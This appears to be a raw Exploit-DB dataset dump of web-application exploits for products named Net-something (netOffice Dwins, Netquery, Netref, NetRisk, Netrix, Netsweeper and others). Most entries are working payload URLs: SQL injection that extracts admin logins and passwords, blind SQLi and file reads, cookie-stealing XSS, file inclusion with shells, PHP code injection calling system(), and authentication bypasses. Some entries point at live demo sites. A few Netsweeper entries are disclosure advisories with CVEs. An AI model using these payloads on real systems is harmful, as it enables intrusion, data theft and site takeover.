deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22590
Description: NetOffice Dwins 1.4p3 - SQL Injection
Type: webapps
Platform: php
Date: 2012-11-09
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-11-08                              ]
 #################################################################
 #  [ netOffice Dwins <= 1.4p3 ]  SQL Injection Vulnerability    #
 #################################################################
 #
 # Script: "netOffice Dwins is a free web based time tracking, timesheet, 
 #          content management, issue tracking, and project management environment."
 #
 # Vendor:   http://sourceforge.net/projects/netofficedwins/
 # Download: http://sourceforge.net/projects/netofficedwins/files/netofficedwins/1.4p3/
 #
 #################################################################
 # [SQL Injection]
 #
 # reports/export_leaves.php?S_ATSEL=-1) union select 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0--
 # File: reports/export_leaves.php ( lines: 16-107 ):
 # ..cut..
 #       $S_mem = $_GET['S_ATSEL'];          //1
 # ..cut..
 # $checkSession = false;                    //2
 # require_once("../includes/library.php");
 # ..cut..
 #   $query .= " AND wkh.owner IN($S_mem)";  //3
 # ..cut..
 # $tmpquery = "$query ORDER BY wkh.owner";  //4
 # $listWorkHours = new request();
 # $listWorkHours->openWorkHours($tmpquery); //5 SQL
 # ..cut..
 #
 # users/exportuser.php?id=-1 union select 0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0--
 # File: users/exportuser.php ( lines: 15-21 ): 
 # ..cut..
 # $checkSession = false;                    //1
 # require_once("../includes/library.php");
 # require_once("../includes/vcard.class.php");
 # $id = $_GET['id'];                        //2
 # $tmpquery = " WHERE mem.id=$id";          //3
 # $userDetail = new request();
 # $userDetail->openMembers($tmpquery);      //4 SQL
 # ..cut..
 #
 # reports/export_person_performance.php?S_ATSEL=-1) union select 0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0--
 # expenses/approveexpense.php?id=-1 union select 0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0--&auth=1&doc=-1 union select 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0--
 # calendar/exportcalendar.php?id=-1' union select 0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1--
 #
 # [Blind SQL Injection]
 #
 # analysis/expanddimension.php?id=-1' union select 0,0,0,0,0,0,0,0,0,0,extractvalue(1,concat(0x2e,(SELECT @@version)))--
 # analysis/changedimensionsortingorder.php?id=-1' union select 0,0,0,0,0,0,0,0,0,0,extractvalue(1,concat(0x2e,(SELECT @@version)))--
 #
 ### [ dun / 2012 ] #############################################
Exploit-DB #26034
Description: NETonE PHPBook 1.4.6 - 'Guestbook.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-26
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14390/info

NETonE PHPBook is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input to the 'admin' parameter of the 'guestbook.php' script.

A successful exploit could allow an attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example/com/guestbook.php?admin="><script>alert(document.cookie)</script><!--
Exploit-DB #9333
Description: Netpet CMS 1.9 - 'confirm.php?language' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-08-03
Author: SirGod

Exploit:
############################################################################################
[+] Netpet CMS 1.9 (confirm.php language) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
############################################################################################

[+] Download : http://www.netpet.at/en/downloads

[+] Local File Inclusion

  - Vulnerable code in netpet/confirm.php

------------------------------------------------------------------------
$selLang = $_GET['language'];
if($selLang!=""){
	include $netpetfolder."netpet/languages/".$selLang.".lang.php";
------------------------------------------------------------------------

  - PoC

   http://127.0.0.1/[path]/netpet/confirm.php?language=../../../../../../../boot.ini%00

############################################################################################

# milw0rm.com [2009-08-03]
Exploit-DB #26027
Description: Netquery 3.1 - 'nqgeoip.php?step' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-25
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14373/info
  
Netquery is affected by multiple remote vulnerabilities. These issues can allow remote attackers to execute arbitrary commands, disclose sensitive information and carry out cross-site scripting attacks.
  
Netquery 3.1 is affected by these vulnerabilities. 

http://www.example.com/[path]/nqgeoip.php?step=<script>alert(document.cookie)</script>
Exploit-DB #26026
Description: Netquery 3.1 - 'nqgeoip2.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-07-25
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14373/info
 
Netquery is affected by multiple remote vulnerabilities. These issues can allow remote attackers to execute arbitrary commands, disclose sensitive information and carry out cross-site scripting attacks.
 
Netquery 3.1 is affected by these vulnerabilities. 

http://www.example.com/[path]/nqgeoip2.php?step=<script>alert(document.cookie)</script>
http://www.example.com/[path]/nqgeoip2.php?body=<script>alert(document.cookie)</script>
Exploit-DB #26028
Description: Netquery 3.1 - 'nqports.php?step' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-25
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14373/info
   
Netquery is affected by multiple remote vulnerabilities. These issues can allow remote attackers to execute arbitrary commands, disclose sensitive information and carry out cross-site scripting attacks.
   
Netquery 3.1 is affected by these vulnerabilities. 

http://www.example.com/[path]/nqports.php?step=<script>alert(document.cookie)</script>
Exploit-DB #26029
Description: Netquery 3.1 - 'nqports2.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-07-25
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14373/info
    
Netquery is affected by multiple remote vulnerabilities. These issues can allow remote attackers to execute arbitrary commands, disclose sensitive information and carry out cross-site scripting attacks.
    
Netquery 3.1 is affected by these vulnerabilities. 

http://www.example.com/[path]/nqports2.php?step=<script>alert(document.cookie)</script>
http://www.example.com/[path]/nqports2.php?body=<script>alert(document.cookie)</script>
Exploit-DB #26030
Description: Netquery 3.1 - 'portlist.php?portnum' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-25
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14373/info
     
Netquery is affected by multiple remote vulnerabilities. These issues can allow remote attackers to execute arbitrary commands, disclose sensitive information and carry out cross-site scripting attacks.
     
Netquery 3.1 is affected by these vulnerabilities. 

http://www.example.com/[path]/portlist.php?portnum=<script>alert(document.cookie)</script>
Exploit-DB #26025
Description: Netquery 3.1 - 'submit.php?portnum' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-25
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14373/info

Netquery is affected by multiple remote vulnerabilities. These issues can allow remote attackers to execute arbitrary commands, disclose sensitive information and carry out cross-site scripting attacks.

Netquery 3.1 is affected by these vulnerabilities. 

http://www.example.com/[path]/submit.php?portnum="/><script>alert(document.cookie)</script>
Exploit-DB #28889
Description: Netquery 4.0 - 'NQUser.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-31
Author: Tal Argoni

Exploit:
source: https://www.securityfocus.com/bid/20837/info

Netquery is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

GET http://target/netquery/nquser.php HTTP/1.0
User-Agent: <script>alert('User-Agent:')</script>
Exploit-DB #26826
Description: Netref 3.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-14
Author: syst3m_f4ult

Exploit:
source: https://www.securityfocus.com/bid/15862/info

Netref is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/pro/page/index.php?cat=[Sql Injection]
Exploit-DB #7396
Description: Netref 4.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-12-09
Author: SuB-ZeRo

Exploit:
            ############### SuB-ZeRo ###############
          ############### Dz-hackers #################
         Netref 4.0  Remote SQL Injection Vulnerability
-----------------------------------------------------------------------------------------------------------

[+]Discovred by : SuB-ZeRo
[+]Vendor URL : www.netref.net
[+]downloader : http://www.phpscripts-fr.net/scripts/download.php?id=627
[+]home: www.sub-z3ro.com / www.h4ck3r-dz.com
[+]ConTacTe: FbH@hotmail.com
[+]DoRk: FiNd It (SoOrY)
[+]exploit:
[+]http://[website]/[script]/fiche_product.php?id=-1+union+select+1,2,password,@@version,5,6,login,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24+from+BDT_USER--
[+]http://[website]/[script]/presentation.php?id=-1+union+select+1,2,password,4,5,login,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+BDT_USER--
[+]l!ve demo:
[+]http://netref.net/solutions/fiche_product.php?id=-1+union+select+1,2,password,@@version,5,6,login,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24+from+BDT_USER--
 
----------------------------------------------------------------------------------------------------------------------
[+]grettz : for my best frinde x.CJP.x / sousn / and all mouslims and eid sa3id for all arabs and mouslimme
----------------------------------------------------------------------------------------------------------------------
sub-z3ro.com sOoN

# milw0rm.com [2008-12-09]
Exploit-DB #25467
Description: Netref 4.2 - 'Cat_for_gen.php' Remote PHP Script Injection
Type: webapps
Platform: php
Date: 2005-04-20
Author: jaguar

Exploit:
source: https://www.securityfocus.com/bid/13275/info

A remote PHP script injection vulnerability affects Netref. This issue is due to a failure of the application to sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary PHP script code in the context of an affected Web server. This will facilitate a compromise of the host computer. 

http://www.yourdomain.com/[netref_folder]/script/cat_for_gen.php?ad=1&ad_direct=../&m_for_racine=</option></SELECT><?php system($command);include($remote_script)?>
Exploit-DB #30987
Description: NetRisk 1.9.7 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-01-04
Author: S.W.A.T.

Exploit:
source: https://www.securityfocus.com/bid/27136/info

netRisk is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code on an affected computer with the privileges of the webserver process.

This issue affects netRisk 1.9.7; other versions may also be affected.

http://www.example.com/Path/index.php?path=[SHELL]
Exploit-DB #4852
Description: NetRisk 1.9.7 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-01-06
Author: Virangar Security

Exploit:
   ####################################################################
   #                                                                  #
   #  ...:::::netrisk 1.9.7 Multiple Remote Vulnerabilities::::....  #
   #                        (sql injection/xss)                       #           
   ####################################################################

Virangar Security Team

www.virangar.org
www.virangar.net

--------
Discoverd By : virangar security team
(hadihadi)
---------------------------------
special tnx to:MR.nosrati,black.shadowes,MR.hesy,satan,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
------------------------------------

vlues:

1.sql injection:
get admin login name:
http://site.com/patch/index.php?page=profile&pid=-1/**/union/**/select/**/1,2,login,4,5,6,7,8,9,10,11/**/from/**/users/**/where/**/id=1/*
---
get admin pass:
http://site.com/patch/index.php?page=profile&pid=-1/**/union/**/select/**/1,2,pass,4,5,6,7,8,9,10,11/**/from/**/users/**/where/**/id=1/*
########################
2.xss:
http://site.com/patch/index.php?page=<script>alert(document.cookie)</script>

########################
NetRisk contains of  other sql injecton/xss/LFI  bugs in other pages ;)

# milw0rm.com [2008-01-06]
Exploit-DB #4833
Description: NetRisk 1.9.7 - Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-01-04
Author: S.W.A.T.

Exploit:
#########################################################################
        NetRisk <= 1.9.7 Remote/Local File Inclusion Vulnerability      #
#########################################################################
AUTHOR     : S.W.A.T.							#
HOME       : http://svvat.ir					        #
Download   : http://phprisk.org/netrisk_1.9.7.zip                       #
#########################################################################
DorKs      : inurl:index.php?page=gamebrowser                           #
#########################################################################
## EXPLOIT :                                                            #
http://server.com/Path/index.php?page=[SHELL]                           #
http://server.com/Path/index.php?page=[-LFI-]                           #
#########################################################################
## GREETZ  : Str0ke - Dj7xpl - DarKLiFe - NazNazi - XmorsTEAM           #
#########################################################################
## Note    : BaBayE NET For Ever :-h =; :(( :((                         #
#########################################################################
========================================================================#
||  ##    ##   ##           ##########   #######     ########         ||#
||   ##  ##    ##########   ##########   ##   ##     ##               ||#
||    ####     ##########   ##      ##   #######     ########         ||#
||    ####     ##  ##  ##   ##      ##   #######           ##         ||#
||   ##  ##    ##  ##  ##   ##########   ##    ##          ##         ||#
||  ##    ##   ##  ##  ##   ##########   ##     ##   ########         ||#
========================================================================#
#########################################################################
#								        #
#   BYE ALL MY FRIENDS OVER THE NET & EVERYTHING ON THE NET             #
#								        #
#########################################################################

# milw0rm.com [2008-01-04]
Exploit-DB #6957
Description: NetRisk 2.0 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-11-02
Author: StAkeR

Exploit:
# -----------------------------------------------------------------
# NetRisk <= 2.0 (XSS/SQL Injection) Remote Vulnerabilities
# -----------------------------------------------------------------
# Discovered By StAkeR aka athos
# Download On http://downloads.sourceforge.net/netrisk
# Works Regardless Of php.ini Settings!
# -----------------------------------------------------------------

# Cross Site Scripting 	
# index.php?error=<script>[javascript]</script>

# Remote SQL Injection 
# index.php?p=profile&id=1+union+all+select+0,0,concat(login,0x3a,password),0,0,0,0,0,0,0,0,0,0,0,0+from+netrisk_users+where+id=1/*
# index.php?p=profile&id=1+union+all+select+0,0,load_file(0x2F6574632F[PII_REDACTED]64),0,0,0,0,0,0,0,0,0,0,0,0/*

# Remote Blind SQL Injection
# index.php?p=game&id=1 and ascii(substring((select password from netrisk_users where id=1),1,1))=[ascii]/*

# milw0rm.com [2008-11-02]
Exploit-DB #9203
Description: Netrix CMS 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-07-20
Author: Mr.tro0oqy

Exploit:
=======================================================
+++++++++++++++++++ information +++++++++++++++++++++++
=======================================================
[+] Script :Netrix CMS 1.0 (Auth Bypass) Remote SQL Injection Vulnerability

[+] Found by : Mr.tro0oqy  

[+] Script site : www.netrix.hu
   
[+] C0ntact : t.4@windowslive.com <Yemeni ana>
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
Exploit : 
---------
http://www.site.com/path/admin/cikkform.php?cid=1
---------

u in control panel 


control panel :
-------------
http://www.site.com/path/admin
-------------



Demo live : 
-----------
http://cms.netrix.hu/admin/cikkform.php?cid=1
-----------

u can edit anything or put on your index ;)

# milw0rm.com [2009-07-20]
Exploit-DB #37926
Description: Netsweeper 2.6.29.8 - SQL Injection
Type: webapps
Platform: php
Date: 2015-08-21
Author: Anastasios Monachos

Exploit:
+-------------------------------------+
+ Netsweeper 2.6.29.8 - SQL Injection +
+-------------------------------------+
Affected Product: Netsweeper
Vendor Homepage	: www.netsweeper.com
Version 	: 2.6.29.8 (and probably other versions)
Discovered by	: Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched      	: Yes
CVE		: CVE-2014-9613

+---------------------+
+ Product Description +
+---------------------+
Netsweeper is a software solution specialized in content filtering.

+----------------------+
+ Exploitation Details +
+----------------------+
Two specific parameters in two pages of Netsweeper Content Filtering solution v2.6.29.8 (and probable earlier versions) are vulnerable to SQL injection.
Condition: The exploitation can be performed by any non-authenticated user with access to the vulnerable pages (usually from everyone).

Vulnerability Type: SQL Injection [SQLi-I]
Vulnerable Page I: http://netsweeper/webadmin/auth/verification.php
Vulnerable POST Parameter: login

Vulnerability Type: SQL Injection [SQLi-II]
Vulnerable Page II: http://netsweeper/webadmin/deny/index.php
Vulnerable POST Parameter: dpid

+----------+
+ Solution +
+----------+
Upgrade to latest version.

+---------------------+
+ Disclosure Timeline +
+---------------------+
12-Jan-2011: Netsweeper fixed issue on 2.6.29.10
17-Jan-2015: CVE assigned CVE-2014-9613
11-Aug-2015: Public disclosure
Exploit-DB #37931
Description: Netsweeper 3.0.6 - Authentication Bypass
Type: webapps
Platform: php
Date: 2015-08-21
Author: Anastasios Monachos

Exploit:
+------------------------------------------------------------------------+
+ Netsweeper 3.0.6 - Authentication Bypass (Account and Policy Creation) +
+------------------------------------------------------------------------+
Affected Product: Netsweeper
Vendor Homepage	: www.netsweeper.com
Version 	: 3.0.6 (and probably other versions)
Discovered by	: Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched      	: Yes
CVE		: CVE-2014-9611

+---------------------+
+ Product Description +
+---------------------+
Netsweeper is a software solution specialized in content filtering.

+----------------------+
+ Exploitation Details +
+----------------------+
An non-authenticated is able to provision new user accounts (and also create new policies under the same name as the newly created user accounts) 

URL Path: http:/netsweeper:8080/webadmin/nslam/index.php?username=secuid0&[CREDENTIAL_REDACTED]=127.0.0.1&theme=Global%20Web%20Admin%20Theme&groupname=

+----------+
+ Solution +
+----------+
Upgrade to latest version.

+---------------------+
+ Disclosure Timeline +
+---------------------+
24-Nov-2014: Initial Communication
03-Dec-2014: Netsweeper responded
03-Dec-2014: Shared full details to replicate the issue
18-Dec-2014: Confirm fix on version 4.0.5
17-Jan-2015: CVE assigned CVE-2014-9611
11-Aug-2015: Public disclosure
Exploit-DB #37927
Description: Netsweeper 4.0.4 - SQL Injection
Type: webapps
Platform: php
Date: 2015-08-21
Author: Anastasios Monachos

Exploit:
+----------------------------------+
+ Netsweeper 4.0.4 - SQL Injection +
+----------------------------------+
Affected Product: Netsweeper
Vendor Homepage : www.netsweeper.com
Version 	: 4.0.4 (and probably other versions)
Discovered by	: Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched      	: Yes
CVE		: CVE-2014-9612

+---------------------+
+ Product Description +
+---------------------+
Netsweeper is a software solution specialized in content filtering.

+----------------------+
+ Exploitation Details +
+----------------------+
Once specific parameter in Netsweeper 3.0.6, 4.0.3 and 4.0.4 (and probably other versions) was identified being vulnerable to SQL injection attacks.
Condition: The exploitation can be performed by any non-authenticated user with access to the vulnerable pages (usually from everyone).

Vulnerable Page: http://netsweeper:8080/remotereporter/load_logfiles.php?server=<SQLi>&url=a
Vulnerable GET Parameter: server

+----------+
+ Solution +
+----------+
Upgrade to latest version.

+---------------------+
+ Disclosure Timeline +
+---------------------+
24-Nov-2014: Initial Communication
03-Dec-2014: Netsweeper responded
03-Dec-2014: Shared full details to replicate the issue
10-Dec-2014: Netsweeper fixed the issue in releases 3.1.10, 4.0.9, 4.1.2
17-Dec-2014: New releases 3.1.10, 4.0.9, 4.1.2 made available to the public
18-Dec-2014: Confirm fix
17-Jan-2015: CVE assigned CVE-2014-9612
11-Aug-2015: Public disclosure